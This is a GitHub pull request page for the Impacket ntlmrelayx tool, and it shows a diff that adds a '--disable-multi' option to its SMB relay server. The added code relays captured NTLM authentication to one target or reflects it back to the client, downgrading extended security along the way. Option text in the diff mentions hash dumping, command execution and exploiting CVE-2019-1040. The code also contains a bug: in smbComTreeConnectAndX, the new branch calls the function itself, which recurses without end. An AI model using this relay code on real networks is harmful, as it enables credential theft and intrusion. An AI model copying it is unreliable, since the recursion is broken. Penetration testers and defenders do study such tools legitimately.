Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added flag --disable-multi #1273

Merged
merged 2 commits into from
Apr 18, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 3 additions & 0 deletions examples/ntlmrelayx.py
Original file line number Diff line number Diff line change
Expand Up @@ -147,6 +147,7 @@ def start_servers(options, threads):
c.setExeFile(options.e)
c.setCommand(options.c)
c.setEnumLocalAdmins(options.enum_local_admins)
c.setDisableMulti(options.disable_multi)
c.setEncoding(codec)
c.setMode(mode)
c.setAttacks(PROTOCOL_ATTACKS)
Expand Down Expand Up @@ -267,6 +268,8 @@ def stop_servers(threads):
parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4')
parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)')
parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients')
parser.add_argument('--disable-multi', action="store_true", required=False, help='If set, disable multi-host relay')


parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on '
'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be'
Expand Down
90 changes: 78 additions & 12 deletions impacket/examples/ntlmrelayx/servers/smbrelayserver.py
Original file line number Diff line number Diff line change
Expand Up @@ -57,6 +57,7 @@ def __init__(self,config):
#Username we auth as gets stored here later
self.authUser = None
self.proxyTranslator = None


# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
Expand Down Expand Up @@ -126,6 +127,33 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
respPacket['Command'] = smb3.SMB2_NEGOTIATE
respPacket['SessionID'] = 0

if self.config.disableMulti:

if self.config.mode.upper() == 'REFLECTION':
self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])
self.target = self.targetprocessor.getTarget()

LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme,
self.target.netloc))

try:
if self.config.mode.upper() == 'REFLECTION':
# Force standard security when doing reflection
LOG.debug("Downgrading to standard security")
extSec = False
#recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
else:
extSec = True
# Init the correct client for our target
client = self.init_client(extSec)
except Exception as e:
LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
self.targetprocessor.logTarget(self.target)
else:
connData['SMBClient'] = client
connData['EncryptionKey'] = client.getStandardSecurityChallenge()
smbServer.setConnectionData(connId, connData)

if isSMB1 is False:
respPacket['MessageID'] = recvPacket['MessageID']
else:
Expand All @@ -134,7 +162,7 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
respPacket['TreeID'] = 0

respSMBCommand = smb3.SMB2Negotiate_Response()

# Just for the Nego Packet, then disable it
respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

Expand Down Expand Up @@ -183,7 +211,7 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket):
#############################################################
# SMBRelay
# Are we ready to relay or should we just do local auth?
if 'relayToHost' not in connData:
if not self.config.disableMulti and 'relayToHost' not in connData:
# Just call the original SessionSetup
respCommands, respPackets, errorCode = self.origSmbSessionSetup(connId, smbServer, recvPacket)
# We remove the Guest flag
Expand Down Expand Up @@ -328,8 +356,8 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket):
self.server.getJTRdumpPath())

connData['Authenticated'] = True
del(connData['relayToHost'])

if not self.config.disableMulti:
del(connData['relayToHost'])
self.do_attack(client)
# Now continue with the server
#############################################################
Expand Down Expand Up @@ -364,6 +392,8 @@ def smb2TreeConnect(self, connId, smbServer, recvPacket):
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),
authenticateMessage['user_name'].decode ('utf-16le'))).upper ()

if self.config.disableMulti:
return self.origsmb2TreeConnect(connId, smbServer, recvPacket)
# Uncommenting this will stop at the first connection relayed and won't relaying until all targets
# are processed. There might be a use case for this
#if 'relayToHost' in connData:
Expand Down Expand Up @@ -442,11 +472,45 @@ def smb2TreeConnect(self, connId, smbServer, recvPacket):
### SMBv1 Part #################################################################
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus = False)
if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:

if self.config.disableMulti:
if self.config.mode.upper() == 'REFLECTION':
# Force standard security when doing reflection
LOG.debug("Downgrading to standard security")
recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])

self.target = self.targetprocessor.getTarget()

LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'],
self.target.scheme, self.target.netloc))

try:
if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
extSec = False
else:
if self.config.mode.upper() == 'REFLECTION':
# Force standard security when doing reflection
LOG.debug("Downgrading to standard security")
extSec = False
recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
else:
extSec = True

# Init the correct client for our target
client = self.init_client(extSec)
except Exception as e:
LOG.error(
"Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
self.targetprocessor.logTarget(self.target)
else:
connData['SMBClient'] = client
connData['EncryptionKey'] = client.getStandardSecurityChallenge()
smbServer.setConnectionData(connId, connData)

else:
if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:
if self.config.mode.upper() == 'REFLECTION':
# Force standard security when doing reflection
LOG.debug("Downgrading to standard security")
recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)

return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
#############################################################
Expand All @@ -458,10 +522,10 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):
#############################################################
# SMBRelay
# Are we ready to relay or should we just do local auth?
if 'relayToHost' not in connData:
# Just call the original SessionSetup
return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket)

if not self.config.disableMulti:
if 'relayToHost' not in connData:
# Just call the original SessionSetup
return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket)
# We have confirmed we want to relay to the target host.
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

Expand Down Expand Up @@ -679,6 +743,8 @@ def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),
authenticateMessage['user_name'].decode ('utf-16le'))).upper ()

if self.config.disableMulti:
return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)
# Uncommenting this will stop at the first connection relayed and won't relaying until all targets
# are processed. There might be a use case for this
#if 'relayToHost' in connData:
Expand Down
4 changes: 4 additions & 0 deletions impacket/examples/ntlmrelayx/utils/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,7 @@ def __init__(self):
self.encoding = None
self.ipv6 = False
self.remove_mic = False
self.disableMulti = False

self.command = None

Expand Down Expand Up @@ -132,6 +133,9 @@ def setCommand(self, command):
def setEnumLocalAdmins(self, enumLocalAdmins):
self.enumLocalAdmins = enumLocalAdmins

def setDisableMulti(self, disableMulti):
self.disableMulti = disableMulti

def setEncoding(self, encoding):
self.encoding = encoding

Expand Down